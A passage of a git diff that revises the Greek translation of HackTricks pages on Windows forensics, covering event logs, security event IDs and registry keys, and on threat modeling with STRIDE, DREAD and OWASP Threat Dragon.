εφαρμογή** στο σύστημα μέσα στη βάση δεδομένων **`StateRepository-Machine.srd`**. -Μέσα στον πίνακα Εφαρμογών αυτής της βάσης δεδομένων, είναι δυνατή η εύρεση των στηλών: "Application ID", "PackageNumber" και "Display Name". Αυτές οι στήλες περιέχουν πληροφορίες σχετικά με τις προεγκατεστημένες και εγκατεστημένες εφαρμογές και μπορεί να βρεθεί αν κάποιες εφαρμογές έχουν απεγκατασταθεί επειδή οι ταυτοτήτες των εγκατεστημένων εφαρμογών θα πρέπει να είναι διαδοχικές. +Μέσα στον πίνακα Εφαρμογών αυτής της βάσης δεδομένων, είναι δυνατή η εύρεση των στηλών: "Application ID", "PackageNumber" και "Display Name". Αυτές οι στήλες περιέχουν πληροφορίες σχετικά με τις προεγκατεστημένες και εγκατεστημένες εφαρμογές και μπορεί να βρεθεί αν κάποιες εφαρμογές έχουν απεγκατασταθεί, καθώς οι ταυτοτήτες των εγκατεστημένων εφαρμογών θα πρέπει να είναι διαδοχικές. -Είναι επίσης δυνατή η **εύρεση εγκατεστημένης εφαρμογής** μέσα στο μονοπάτι μητρώου: `Software\Microsoft\Windows\CurrentVersion\Appx\AppxAllUserStore\Applications\`\ +Είναι επίσης δυνατή η **εύρεση εγκατεστημένης εφαρμογής** μέσα στο μονοπάτι του μητρώου: `Software\Microsoft\Windows\CurrentVersion\Appx\AppxAllUserStore\Applications\`\ Και **απεγκατεστημένων** **εφαρμογών** στο: `Software\Microsoft\Windows\CurrentVersion\Appx\AppxAllUserStore\Deleted\` ## Windows Events @@ -394,7 +392,7 @@ AmcacheParser.exe -f C:\Users\genericUser\Desktop\Amcache.hve --csv C:\Users\gen - Φιλοξενούμενοι που εμπλέκονται (hostname, IP) - Περιουσιακά στοιχεία που προσπελάστηκαν (αρχεία, φάκελοι, εκτυπωτές, υπηρεσίες) -Τα logs βρίσκονται στο `C:\Windows\System32\config` πριν από τα Windows Vista και στο `C:\Windows\System32\winevt\Logs` μετά τα Windows Vista. Πριν από τα Windows Vista, τα αρχεία καταγραφής γεγονότων ήταν σε δυαδική μορφή και μετά από αυτά, είναι σε **XML μορφή** και χρησιμοποιούν την **.evtx** επέκταση. +Τα logs βρίσκονται στο `C:\Windows\System32\config` πριν από τα Windows Vista και στο `C:\Windows\System32\winevt\Logs` μετά τα Windows Vista. Πριν από τα Windows Vista, τα αρχεία καταγραφής γεγονότων ήταν σε δυαδική μορφή και μετά από αυτά, είναι σε **XML μορφή** και χρησιμοποιούν την επέκταση **.evtx**. Η τοποθεσία των αρχείων γεγονότων μπορεί να βρεθεί στο μητρώο SYSTEM στο **`HKLM\SYSTEM\CurrentControlSet\services\EventLog\{Application|System|Security}`** @@ -402,7 +400,7 @@ AmcacheParser.exe -f C:\Users\genericUser\Desktop\Amcache.hve --csv C:\Users\gen ## Κατανόηση της Καταγραφής Γεγονότων Ασφαλείας των Windows -Τα γεγονότα πρόσβασης καταγράφονται στο αρχείο ρύθμισης ασφαλείας που βρίσκεται στο `C:\Windows\System32\winevt\Security.evtx`. Το μέγεθος αυτού του αρχείου είναι ρυθμιζόμενο και όταν φτάσει την ικανότητά του, τα παλαιότερα γεγονότα αντικαθίστανται. Τα καταγεγραμμένα γεγονότα περιλαμβάνουν συνδέσεις και αποσυνδέσεις χρηστών, ενέργειες χρηστών και αλλαγές στις ρυθμίσεις ασφαλείας, καθώς και πρόσβαση σε αρχεία, φακέλους και κοινά περιουσιακά στοιχεία. +Τα γεγονότα πρόσβασης καταγράφονται στο αρχείο ρύθμισης ασφαλείας που βρίσκεται στο `C:\Windows\System32\winevt\Security.evtx`. Το μέγεθος αυτού του αρχείου είναι ρυθμιζόμενο και όταν φτάσει την χωρητικότητα του, τα παλαιότερα γεγονότα αντικαθίστανται. Τα καταγεγραμμένα γεγονότα περιλαμβάνουν συνδέσεις και αποσυνδέσεις χρηστών, ενέργειες χρηστών και αλλαγές στις ρυθμίσεις ασφαλείας, καθώς και πρόσβαση σε αρχεία, φακέλους και κοινά περιουσιακά στοιχεία. ### Κύριοι Κωδικοί Γεγονότων για Αυθεντικοποίηση Χρηστών: @@ -429,16 +427,16 @@ AmcacheParser.exe -f C:\Users\genericUser\Desktop\Amcache.hve --csv C:\Users\gen #### Κωδικοί Κατάστασης και Υποκατάστασης για το EventID 4625: - **0xC0000064**: Το όνομα χρήστη δεν υπάρχει - Μπορεί να υποδηλώνει επίθεση καταμέτρησης ονομάτων χρηστών. -- **0xC000006A**: Σωστό όνομα χρήστη αλλά λάθος κωδικός πρόσβασης - Πιθανή απόπειρα μαντεψίας κωδικού ή brute-force. +- **0xC000006A**: Σωστό όνομα χρήστη αλλά λάθος κωδικός πρόσβασης - Πιθανή απόπειρα μαντεψιάς κωδικού ή brute-force. - **0xC0000234**: Ο λογαριασμός χρήστη έχει κλειδώσει - Μπορεί να ακολουθεί μια επίθεση brute-force που έχει ως αποτέλεσμα πολλές αποτυχημένες συνδέσεις. -- **0xC0000072**: Ο λογαριασμός έχει απενεργοποιηθεί - Μη εξουσιοδοτημένες απόπειρες πρόσβασης σε απενεργοποιημένους λογαριασμούς. +- **0xC0000072**: Ο λογαριασμός είναι απενεργοποιημένος - Μη εξουσιοδοτημένες απόπειρες πρόσβασης σε απενεργοποιημένους λογαριασμούς. - **0xC000006F**: Σύνδεση εκτός επιτρεπόμενου χρόνου - Υποδηλώνει απόπειρες πρόσβασης εκτός των καθορισμένων ωρών σύνδεσης, πιθανό σημάδι μη εξουσιοδοτημένης πρόσβασης. - **0xC0000070**: Παράβαση περιορισμών σταθμού εργασίας - Μπορεί να είναι απόπειρα σύνδεσης από μη εξουσιοδοτημένη τοποθεσία. - **0xC0000193**: Λήξη λογαριασμού - Απόπειρες πρόσβασης με λογαριασμούς χρηστών που έχουν λήξει. - **0xC0000071**: Ληγμένος κωδικός πρόσβασης - Απόπειρες σύνδεσης με παρωχημένους κωδικούς πρόσβασης. - **0xC0000133**: Προβλήματα συγχρονισμού χρόνου - Μεγάλες αποκλίσεις χρόνου μεταξύ πελάτη και διακομιστή μπορεί να υποδηλώνουν πιο εξελιγμένες επιθέσεις όπως pass-the-ticket. - **0xC0000224**: Απαιτείται υποχρεωτική αλλαγή κωδικού πρόσβασης - Συχνές υποχρεωτικές αλλαγές μπορεί να υποδηλώνουν απόπειρα αποσταθεροποίησης της ασφάλειας του λογαριασμού. -- **0xC0000225**: Υποδηλώνει σφάλμα συστήματος παρά πρόβλημα ασφαλείας. +- **0xC0000225**: Υποδεικνύει σφάλμα συστήματος αντί για πρόβλημα ασφαλείας. - **0xC000015b**: Αρνημένος τύπος σύνδεσης - Απόπειρα πρόσβασης με μη εξουσιοδοτημένο τύπο σύνδεσης, όπως χρήστης που προσπαθεί να εκτελέσει σύνδεση υπηρεσίας. #### EventID 4616: @@ -451,7 +449,7 @@ AmcacheParser.exe -f C:\Users\genericUser\Desktop\Amcache.hve --csv C:\Users\gen #### EventID 1102: -- **Διαγραφή Καταγραφών**: Καταγραφές ασφαλείας που διαγράφονται, το οποίο είναι συχνά μια κόκκινη σημαία για την κάλυψη παράνομων δραστηριοτήτων. +- **Διαγραφή Καταγραφών**: Καταγραφές ασφαλείας που διαγράφονται, το οποίο είναι συχνά κόκκινη σημαία για κάλυψη παράνομων δραστηριοτήτων. #### EventIDs για Παρακολούθηση Συσκευών USB: @@ -465,7 +463,7 @@ AmcacheParser.exe -f C:\Users\genericUser\Desktop\Amcache.hve --csv C:\Users\gen ### Ανάκτηση Γεγονότων Windows -Για να αυξήσετε τις πιθανότητες ανάκτησης διαγραμμένων Γεγονότων Windows, είναι σκόπιμο να απενεργοποιήσετε τον ύποπτο υπολογιστή αποσυνδέοντάς τον απευθείας. **Bulk_extractor**, ένα εργαλείο ανάκτησης που καθορίζει την επέκταση `.evtx`, συνιστάται για την προσπάθεια ανάκτησης τέτοιων γεγονότων. +Για να αυξήσετε τις πιθανότητες ανάκτησης διαγραμμένων Γεγονότων Windows, είναι σκόπιμο να απενεργοποιήσετε τον ύποπτο υπολογιστή αποσυνδέοντάς τον απευθείας. Το **Bulk_extractor**, ένα εργαλείο ανάκτησης που καθορίζει την επέκταση `.evtx`, συνιστάται για την προσπάθεια ανάκτησης τέτοιων γεγονότων. ### Αναγνώριση Κοινών Επιθέσεων μέσω Γεγονότων Windows diff --git a/src/generic-methodologies-and-resources/basic-forensic-methodology/windows-forensics/interesting-windows-registry-keys.md b/src/generic-methodologies-and-resources/basic-forensic-methodology/windows-forensics/interesting-windows-registry-keys.md index 8e7844275..7389dcf78 100644 --- a/src/generic-methodologies-and-resources/basic-forensic-methodology/windows-forensics/interesting-windows-registry-keys.md +++ b/src/generic-methodologies-and-resources/basic-forensic-methodology/windows-forensics/interesting-windows-registry-keys.md @@ -1,7 +1,5 @@ # Ενδιαφέροντα Κλειδιά Μητρώου Windows -### Ενδιαφέροντα Κλειδιά Μητρώου Windows - {{#include ../../../banners/hacktricks-training.md}} ### **Πληροφορίες Έκδοσης και Ιδιοκτήτη Windows** @@ -10,7 +8,7 @@ ### **Όνομα Υπολογιστή** -- Το όνομα υπολογιστή βρίσκεται κάτω από **`System\ControlSet001\Control\ComputerName\ComputerName`**. +- Το όνομα του υπολογιστή βρίσκεται κάτω από **`System\ControlSet001\Control\ComputerName\ComputerName`**. ### **Ρύθμιση Ζώνης Ώρας** @@ -25,17 +23,17 @@ - Η **έκδοση Windows** υποδεικνύει την έκδοση (π.χ., Home, Pro) και την κυκλοφορία της (π.χ., Windows 10, Windows 11), ενώ τα **Service Packs** είναι ενημερώσεις που περιλαμβάνουν διορθώσεις και, μερικές φορές, νέες δυνατότητες. -### Ενεργοποίηση Χρόνου Τελευταίας Πρόσβασης +### Ενεργοποίηση Χρόνου Πρόσβασης - Η ενεργοποίηση της παρακολούθησης του τελευταίου χρόνου πρόσβασης σας επιτρέπει να δείτε πότε άνοιξαν τελευταία τα αρχεία, κάτι που μπορεί να είναι κρίσιμο για την εγκληματολογική ανάλυση ή την παρακολούθηση του συστήματος. ### Λεπτομέρειες Πληροφοριών Δικτύου -- Το μητρώο περιέχει εκτενή δεδομένα σχετικά με τις ρυθμίσεις δικτύου, συμπεριλαμβανομένων **τύπων δικτύων (ασύρματα, καλωδιακά, 3G)** και **κατηγοριών δικτύου (Δημόσιο, Ιδιωτικό/Οικιακό, Τομέας/Εργασία)**, που είναι ζωτικής σημασίας για την κατανόηση των ρυθμίσεων ασφαλείας δικτύου και των δικαιωμάτων. +- Το μητρώο περιέχει εκτενή δεδομένα σχετικά με τις ρυθμίσεις δικτύου, συμπεριλαμβανομένων **τύπων δικτύων (ασύρματα, καλωδιακά, 3G)** και **κατηγοριών δικτύου (Δημόσιο, Ιδιωτικό/Οικιακό, Τομέας/Εργασία)**, που είναι ζωτικής σημασίας για την κατανόηση των ρυθμίσεων ασφαλείας δικτύου και των αδειών. ### Client Side Caching (CSC) -- **CSC** βελτιώνει την πρόσβαση σε αρχεία εκτός σύνδεσης αποθηκεύοντας αντίγραφα κοινών αρχείων. Διαφορετικές ρυθμίσεις **CSCFlags** ελέγχουν πώς και ποια αρχεία αποθηκεύονται στην κρυφή μνήμη, επηρεάζοντας την απόδοση και την εμπειρία του χρήστη, ειδικά σε περιβάλλοντα με διαλείπουσα συνδεσιμότητα. +- **CSC** βελτιώνει την πρόσβαση σε αρχεία εκτός σύνδεσης αποθηκεύοντας αντίγραφα κοινών αρχείων. Διάφορες ρυθμίσεις **CSCFlags** ελέγχουν πώς και ποια αρχεία αποθηκεύονται στην κρυφή μνήμη, επηρεάζοντας την απόδοση και την εμπειρία του χρήστη, ειδικά σε περιβάλλοντα με διαλείπουσα συνδεσιμότητα. ### Προγράμματα AutoStart @@ -49,9 +47,9 @@ - Οι λεπτομέρειες που αποθηκεύονται στο μητρώο σχετικά με τις συσκευές USB μπορούν να βοηθήσουν στην ανίχνευση ποια συσκευές συνδέθηκαν σε έναν υπολογιστή, ενδεχομένως συνδέοντας μια συσκευή με ευαίσθητες μεταφορές αρχείων ή περιστατικά μη εξουσιοδοτημένης πρόσβασης. -### Αριθμός Σειράς Τόμου +### Αριθμός Σειράς Όγκου -- Ο **Αριθμός Σειράς Τόμου** μπορεί να είναι κρίσιμος για την παρακολούθηση της συγκεκριμένης περίπτωσης ενός συστήματος αρχείων, χρήσιμος σε εγκληματολογικά σενάρια όπου πρέπει να καθοριστεί η προέλευση ενός αρχείου σε διάφορες συσκευές. +- Ο **Αριθμός Σειράς Όγκου** μπορεί να είναι κρίσιμος για την παρακολούθηση της συγκεκριμένης περίπτωσης ενός συστήματος αρχείων, χρήσιμο σε εγκληματολογικά σενάρια όπου πρέπει να καθοριστεί η προέλευση ενός αρχείου σε διάφορες συσκευές. ### **Λεπτομέρειες Τερματισμού** @@ -80,7 +78,7 @@ ### **Πιο Πρόσφατα Χρησιμοποιούμενα (MRU) Στοιχεία** -- Οι λίστες MRU, που υποδεικνύουν πρόσφατες διαδρομές αρχείων και εντολές, αποθηκεύονται σε διάφορα υποκλειδιά `ComDlg32` και `Explorer` κάτω από `NTUSER.DAT`. +- Οι λίστες MRU, που υποδεικνύουν πρόσφατες διαδρομές αρχείων και εντολές, αποθηκεύονται σε διάφορους υποκλειδιά `ComDlg32` και `Explorer` κάτω από `NTUSER.DAT`. ### **Παρακολούθηση Δραστηριότητας Χρήστη** @@ -94,7 +92,7 @@ - **`HKLM\SYSTEM\ControlSet001\Enum\USBSTOR`** και **`HKLM\SYSTEM\ControlSet001\Enum\USB`** περιέχουν πλούσιες λεπτομέρειες σχετικά με τις συνδεδεμένες συσκευές USB, συμπεριλαμβανομένου του κατασκευαστή, του ονόματος προϊόντος και των χρονικών σημείων σύνδεσης. - Ο χρήστης που σχετίζεται με μια συγκεκριμένη συσκευή USB μπορεί να προσδιοριστεί αναζητώντας τις βάσεις `NTUSER.DAT` για το **{GUID}** της συσκευής. -- Η τελευταία τοποθετημένη συσκευή και ο αριθμός σειράς τόμου της μπορούν να ανιχνευθούν μέσω `System\MountedDevices` και `Software\Microsoft\Windows NT\CurrentVersion\EMDMgmt`, αντίστοιχα. +- Η τελευταία τοποθετημένη συσκευή και ο αριθμός σειριακής της μπορεί να ανιχνευθεί μέσω `System\MountedDevices` και `Software\Microsoft\Windows NT\CurrentVersion\EMDMgmt`, αντίστοιχα. Αυτός ο οδηγός συμπυκνώνει τις κρίσιμες διαδρομές και μεθόδους για την πρόσβαση σε λεπτομερείς πληροφορίες συστήματος, δικτύου και δραστηριότητας χρηστών σε συστήματα Windows, στοχεύοντας στην καθαρότητα και τη χρηστικότητα. diff --git a/src/generic-methodologies-and-resources/threat-modeling.md b/src/generic-methodologies-and-resources/threat-modeling.md index cd3355fbe..5ee2a63a0 100644 --- a/src/generic-methodologies-and-resources/threat-modeling.md +++ b/src/generic-methodologies-and-resources/threat-modeling.md @@ -1,40 +1,42 @@ # Threat Modeling +{{#include /banners/hacktricks-training.md}} + ## Threat Modeling -Καλώς ήρθατε στον ολοκληρωμένο οδηγό του HackTricks για το Threat Modeling! Ξεκινήστε μια εξερεύνηση αυτού του κρίσιμου τομέα της κυβερνοασφάλειας, όπου εντοπίζουμε, κατανοούμε και στρατηγικά σχεδιάζουμε ενάντια σε πιθανές ευπάθειες σε ένα σύστημα. Αυτό το νήμα χρησιμεύει ως οδηγός βήμα προς βήμα γεμάτος με παραδείγματα από τον πραγματικό κόσμο, χρήσιμα λογισμικά και εύκολες προς κατανόηση εξηγήσεις. Ιδανικό για αρχάριους και έμπειρους επαγγελματίες που επιθυμούν να ενισχύσουν τις άμυνες της κυβερνοασφάλειάς τους. +Καλώς ήρθατε στον ολοκληρωμένο οδηγό του HackTricks για το Threat Modeling! Ξεκινήστε μια εξερεύνηση αυτού του κρίσιμου τομέα της κυβερνοασφάλειας, όπου εντοπίζουμε, κατανοούμε και στρατηγικά σχεδιάζουμε ενάντια σε πιθανές ευπάθειες ενός συστήματος. Αυτό το νήμα χρησιμεύει ως ένας οδηγός βήμα προς βήμα γεμάτος με παραδείγματα από τον πραγματικό κόσμο, χρήσιμο λογισμικό και εύκολες προς κατανόηση εξηγήσεις. Ιδανικό για αρχάριους και έμπειρους επαγγελματίες που επιθυμούν να ενισχύσουν τις άμυνες της κυβερνοασφάλειάς τους. ### Commonly Used Scenarios -1. **Software Development**: Ως μέρος του Secure Software Development Life Cycle (SSDLC), το threat modeling βοηθά στην **ταυτοποίηση πιθανών πηγών ευπαθειών** στα πρώτα στάδια της ανάπτυξης. -2. **Penetration Testing**: Το Penetration Testing Execution Standard (PTES) απαιτεί **threat modeling για την κατανόηση των ευπαθειών του συστήματος** πριν από την εκτέλεση της δοκιμής. +1. **Software Development**: Ως μέρος του Secure Software Development Life Cycle (SSDLC), το threat modeling βοηθά στην **εντοπισμό πιθανών πηγών ευπαθειών** στα πρώτα στάδια της ανάπτυξης. +2. **Penetration Testing**: Το πλαίσιο Penetration Testing Execution Standard (PTES) απαιτεί **threat modeling για την κατανόηση των ευπαθειών του συστήματος** πριν από την εκτέλεση της δοκιμής. ### Threat Model in a Nutshell -Ένα Threat Model συνήθως απεικονίζεται ως διάγραμμα, εικόνα ή κάποια άλλη μορφή οπτικής απεικόνισης που απεικονίζει την προγραμματισμένη αρχιτεκτονική ή την υπάρχουσα κατασκευή μιας εφαρμογής. Έχει ομοιότητα με ένα **διάγραμμα ροής δεδομένων**, αλλά η βασική διάκριση έγκειται στον σχεδιασμό του που επικεντρώνεται στην ασφάλεια. +Ένα Threat Model συνήθως αναπαρίσταται ως διάγραμμα, εικόνα ή κάποια άλλη μορφή οπτικής απεικόνισης που απεικονίζει την προγραμματισμένη αρχιτεκτονική ή την υπάρχουσα κατασκευή μιας εφαρμογής. Έχει ομοιότητες με ένα **διάγραμμα ροής δεδομένων**, αλλά η κύρια διάκριση έγκειται στο σχεδιασμό του που είναι προσανατολισμένος στην ασφάλεια. -Τα threat models συχνά περιλαμβάνουν στοιχεία που σημειώνονται με κόκκινο, συμβολίζοντας πιθανές ευπάθειες, κινδύνους ή εμπόδια. Για να απλοποιηθεί η διαδικασία ταυτοποίησης κινδύνων, χρησιμοποιείται η τριάδα CIA (Confidentiality, Integrity, Availability), που αποτελεί τη βάση πολλών μεθοδολογιών threat modeling, με το STRIDE να είναι μία από τις πιο κοινές. Ωστόσο, η επιλεγμένη μεθοδολογία μπορεί να διαφέρει ανάλογα με το συγκεκριμένο πλαίσιο και τις απαιτήσεις. +Τα threat models συχνά περιλαμβάνουν στοιχεία που σημειώνονται με κόκκινο, συμβολίζοντας πιθανές ευπάθειες, κινδύνους ή εμπόδια. Για να απλοποιηθεί η διαδικασία εντοπισμού κινδύνων, χρησιμοποιείται το τρίγωνο CIA (Confidentiality, Integrity, Availability), το οποίο αποτελεί τη βάση πολλών μεθοδολογιών threat modeling, με το STRIDE να είναι μία από τις πιο κοινές. Ωστόσο, η επιλεγμένη μεθοδολογία μπορεί να διαφέρει ανάλογα με το συγκεκριμένο πλαίσιο και τις απαιτήσεις. ### The CIA Triad -Η τριάδα CIA είναι ένα ευρέως αναγνωρισμένο μοντέλο στον τομέα της ασφάλειας πληροφοριών, που σημαίνει Confidentiality, Integrity και Availability. Αυτοί οι τρεις πυλώνες αποτελούν τη βάση πάνω στην οποία έχουν οικοδομηθεί πολλά μέτρα και πολιτικές ασφάλειας, συμπεριλαμβανομένων των μεθοδολογιών threat modeling. +Το CIA Triad είναι ένα ευρέως αναγνωρισμένο μοντέλο στον τομέα της ασφάλειας πληροφοριών, που σημαίνει Confidentiality, Integrity και Availability. Αυτοί οι τρεις πυλώνες αποτελούν τη βάση πάνω στην οποία έχουν οικοδομηθεί πολλά μέτρα και πολιτικές ασφάλειας, συμπεριλαμβανομένων των μεθοδολογιών threat modeling. -1. **Confidentiality**: Διασφάλιση ότι τα δεδομένα ή το σύστημα δεν αποκτώνται από μη εξουσιοδοτημένα άτομα. Αυτό είναι ένα κεντρικό στοιχείο της ασφάλειας, απαιτώντας κατάλληλους ελέγχους πρόσβασης, κρυπτογράφηση και άλλα μέτρα για την αποτροπή διαρροών δεδομένων. +1. **Confidentiality**: Διασφάλιση ότι τα δεδομένα ή το σύστημα δεν προσβάλλονται από μη εξουσιοδοτημένα άτομα. Αυτό είναι ένα κεντρικό στοιχείο της ασφάλειας, απαιτώντας κατάλληλους ελέγχους πρόσβασης, κρυπτογράφηση και άλλα μέτρα για την αποτροπή διαρροών δεδομένων. 2. **Integrity**: Η ακρίβεια, η συνέπεια και η αξιοπιστία των δεδομένων κατά τη διάρκεια του κύκλου ζωής τους. Αυτή η αρχή διασφαλίζει ότι τα δεδομένα δεν τροποποιούνται ή παραποιούνται από μη εξουσιοδοτημένα μέρη. Συχνά περιλαμβάνει checksums, hashing και άλλες μεθόδους επαλήθευσης δεδομένων. -3. **Availability**: Αυτό διασφαλίζει ότι τα δεδομένα και οι υπηρεσίες είναι προσβάσιμα σε εξουσιοδοτημένους χρήστες όταν χρειάζεται. Αυτό συχνά περιλαμβάνει πλεονασμό, ανθεκτικότητα σε σφάλματα και ρυθμίσεις υψηλής διαθεσιμότητας για να διατηρούνται τα συστήματα σε λειτουργία ακόμη και μπροστά σε διαταραχές. +3. **Availability**: Αυτό διασφαλίζει ότι τα δεδομένα και οι υπηρεσίες είναι προσβάσιμα σε εξουσιοδοτημένους χρήστες όταν χρειάζεται. Αυτό συχνά περιλαμβάνει πλεονασμό, αντοχή σε σφάλματα και ρυθμίσεις υψηλής διαθεσιμότητας για να διατηρούνται τα συστήματα σε λειτουργία ακόμη και μπροστά σε διαταραχές. ### Threat Modeling Methodlogies -1. **STRIDE**: Αναπτυγμένο από τη Microsoft, το STRIDE είναι ένα ακρωνύμιο για **Spoofing, Tampering, Repudiation, Information Disclosure, Denial of Service, and Elevation of Privilege**. Κάθε κατηγορία αντιπροσωπεύει έναν τύπο απειλής, και αυτή η μεθοδολογία χρησιμοποιείται συνήθως στη φάση σχεδίασης ενός προγράμματος ή συστήματος για την ταυτοποίηση πιθανών απειλών. -2. **DREAD**: Αυτή είναι μια άλλη μεθοδολογία από τη Microsoft που χρησιμοποιείται για την αξιολόγηση κινδύνου των ταυτοποιημένων απειλών. Το DREAD σημαίνει **Damage potential, Reproducibility, Exploitability, Affected users, and Discoverability**. Κάθε ένας από αυτούς τους παράγοντες βαθμολογείται, και το αποτέλεσμα χρησιμοποιείται για την προτεραιοποίηση των ταυτοποιημένων απειλών. -3. **PASTA** (Process for Attack Simulation and Threat Analysis): Αυτή είναι μια επταβάθμια, **risk-centric** μεθοδολογία. Περιλαμβάνει τον καθορισμό και την ταυτοποίηση των στόχων ασφάλειας, τη δημιουργία τεχνικού πεδίου, την αποσύνθεση εφαρμογών, την ανάλυση απειλών, την ανάλυση ευπαθειών και την αξιολόγηση κινδύνου/triage. -4. **Trike**: Αυτή είναι μια μεθοδολογία βασισμένη στον κίνδυνο που επικεντρώνεται στην άμυνα των περιουσιακών στοιχείων. Ξεκινά από μια **οπτική διαχείρισης κινδύνου** και εξετάζει τις απειλές και τις ευπάθειες σε αυτό το πλαίσιο. +1. **STRIDE**: Αναπτυγμένο από τη Microsoft, το STRIDE είναι ένα ακρωνύμιο για **Spoofing, Tampering, Repudiation, Information Disclosure, Denial of Service, and Elevation of Privilege**. Κάθε κατηγορία αντιπροσωπεύει έναν τύπο απειλής, και αυτή η μεθοδολογία χρησιμοποιείται συνήθως στη φάση σχεδιασμού ενός προγράμματος ή συστήματος για την αναγνώριση πιθανών απειλών. +2. **DREAD**: Αυτή είναι μια άλλη μεθοδολογία από τη Microsoft που χρησιμοποιείται για την εκτίμηση κινδύνου των αναγνωρισμένων απειλών. Το DREAD σημαίνει **Damage potential, Reproducibility, Exploitability, Affected users, and Discoverability**. Κάθε ένας από αυτούς τους παράγοντες βαθμολογείται, και το αποτέλεσμα χρησιμοποιείται για την προτεραιοποίηση των αναγνωρισμένων απειλών. +3. **PASTA** (Process for Attack Simulation and Threat Analysis): Αυτή είναι μια επταβάθμια, **risk-centric** μεθοδολογία. Περιλαμβάνει τον καθορισμό και την αναγνώριση των στόχων ασφάλειας, τη δημιουργία τεχνικού πεδίου, την αποσύνθεση εφαρμογών, την ανάλυση απειλών, την ανάλυση ευπαθειών και την εκτίμηση κινδύνου/τριγιάζ. +4. **Trike**: Αυτή είναι μια μεθοδολογία βασισμένη στον κίνδυνο που επικεντρώνεται στην άμυνα των περιουσιακών στοιχείων. Ξεκινά από μια προοπτική **διαχείρισης κινδύνου** και εξετάζει τις απειλές και τις ευπάθειες σε αυτό το πλαίσιο. 5. **VAST** (Visual, Agile, and Simple Threat modeling): Αυτή η προσέγγιση στοχεύει να είναι πιο προσβάσιμη και ενσωματώνεται σε περιβάλλοντα Agile ανάπτυξης. Συνδυάζει στοιχεία από τις άλλες μεθοδολογίες και επικεντρώνεται σε **οπτικές αναπαραστάσεις απειλών**. -6. **OCTAVE** (Operationally Critical Threat, Asset, and Vulnerability Evaluation): Αναπτυγμένο από το CERT Coordination Center, αυτό το πλαίσιο προορίζεται για **αξιολόγηση οργανωτικού κινδύνου παρά συγκεκριμένων συστημάτων ή λογισμικού**. +6. **OCTAVE** (Operationally Critical Threat, Asset, and Vulnerability Evaluation): Αναπτυγμένο από το CERT Coordination Center, αυτό το πλαίσιο προορίζεται για **εκτίμηση οργανωτικού κινδύνου παρά συγκεκριμένων συστημάτων ή λογισμικού**. ## Tools -Υπάρχουν αρκετά εργαλεία και λύσεις λογισμικού διαθέσιμα που μπορούν να **βοηθήσουν** στη δημιουργία και διαχείριση threat models. Ακολουθούν μερικά που μπορεί να εξετάσετε. +Υπάρχουν αρκετά εργαλεία και λύσεις λογισμικού διαθέσιμες που μπορούν να **βοηθήσουν** στη δημιουργία και διαχείριση threat models. Ακολουθούν μερικά που μπορεί να εξετάσετε. ### [SpiderSuite](https://github.com/3nock/SpiderSuite) @@ -42,70 +44,73 @@ **Usage** -1. Pick a URL and Crawl +1. Επιλέξτε μια διεύθυνση URL και Craw
-2. View Graph +2. Δείτε το Γράφημα
### [OWASP Threat Dragon](https://github.com/OWASP/threat-dragon/releases) -Ένα ανοιχτού κώδικα έργο από το OWASP, το Threat Dragon είναι τόσο μια διαδικτυακή όσο και μια επιτραπέζια εφαρμογή που περιλαμβάνει διαγράμματα συστημάτων καθώς και μια μηχανή κανόνων για αυτόματη δημιουργία απειλών/μετριασμών. +Ένα έργο ανοιχτού κώδικα από το OWASP, το Threat Dragon είναι τόσο μια διαδικτυακή όσο και μια επιτραπέζια εφαρμογή που περιλαμβάνει διάγραμμα συστήματος καθώς και μια μηχανή κανόνων για αυτόματη δημιουργία απειλών/μετριασμών. **Usage** -1. Create New Project +1. Δημιουργία Νέου Έργου
-Sometimes it could look like this: +Μερικές φορές μπορεί να φαίνεται έτσι:
-2. Launch New Project +2. Εκκίνηση Νέου Έργου
-3. Save The New Project +3. Αποθήκευση του Νέου Έργου
-4. Create your model +4. Δημιουργήστε το μοντέλο σας -You can use tools like SpiderSuite Crawler to give you inspiration, a basic model would look something like this +Μπορείτε να χρησιμοποιήσετε εργαλεία όπως το SpiderSuite Crawler για να σας δώσουν έμπνευση, ένα βασικό μοντέλο θα έμοιαζε κάπως έτσι
-Just a little bit of explanation about the entities: +Μια μικρή εξήγηση για τις οντότητες: -- Process (The entity itself such as Webserver or web functionality) -- Actor (A Person such as a Website Visitor, User or Administrator) -- Data Flow Line (Indicator of Interaction) -- Trust Boundary (Different network segments or scopes.) -- Store (Things where data are stored at such as Databases) +- Process (Η οντότητα αυτή καθαυτή όπως Webserver ή web functionality) +- Actor (Ένα άτομο όπως ένας επισκέπτης ιστοσελίδας, χρήστης ή διαχειριστής) +- Data Flow Line (Δείκτης αλληλεπίδρασης) +- Trust Boundary (Διαφορετικά τμήματα ή πεδία δικτύου.) +- Store (Πράγματα όπου αποθηκεύονται τα δεδομένα όπως βάσεις δεδομένων) -5. Create a Threat (Step 1) +5. Δημιουργία μιας Απειλής (Βήμα 1) -First you have to pick the layer you wish to add a threat to +Πρώτα πρέπει να επιλέξετε το επίπεδο στο οποίο θέλετε να προσθέσετε μια απειλή
-Now you can create the threat +Τώρα μπορείτε να δημιουργήσετε την απειλή
-Keep in mind that there is a difference between Actor Threats and Process Threats. If you would add a threat to an Actor then you will only be able to choose "Spoofing" and "Repudiation. However in our example we add threat to a Process entity so we will see this in the threat creation box: +Λάβετε υπόψη ότι υπάρχει διαφορά μεταξύ των Απειλών Ηθοποιών και των Απειλών Διαδικασίας. Εάν προσθέσετε μια απειλή σε έναν Ηθοποιό, τότε θα μπορείτε να επιλέξετε μόνο "Spoofing" και "Repudiation". Ωστόσο, στο παράδειγμά μας προσθέτουμε απειλή σε μια οντότητα Διαδικασίας, οπότε θα δούμε αυτό στο πλαίσιο δημιουργίας απειλής:
-6. Done +6. Έγινε -Now your finished model should look something like this. And this is how you make a simple threat model with OWASP Threat Dragon. +Τώρα το ολοκληρωμένο μοντέλο σας θα πρέπει να μοιάζει κάπως έτσι. Και έτσι δημιουργείτε ένα απλό threat model με το OWASP Threat Dragon.
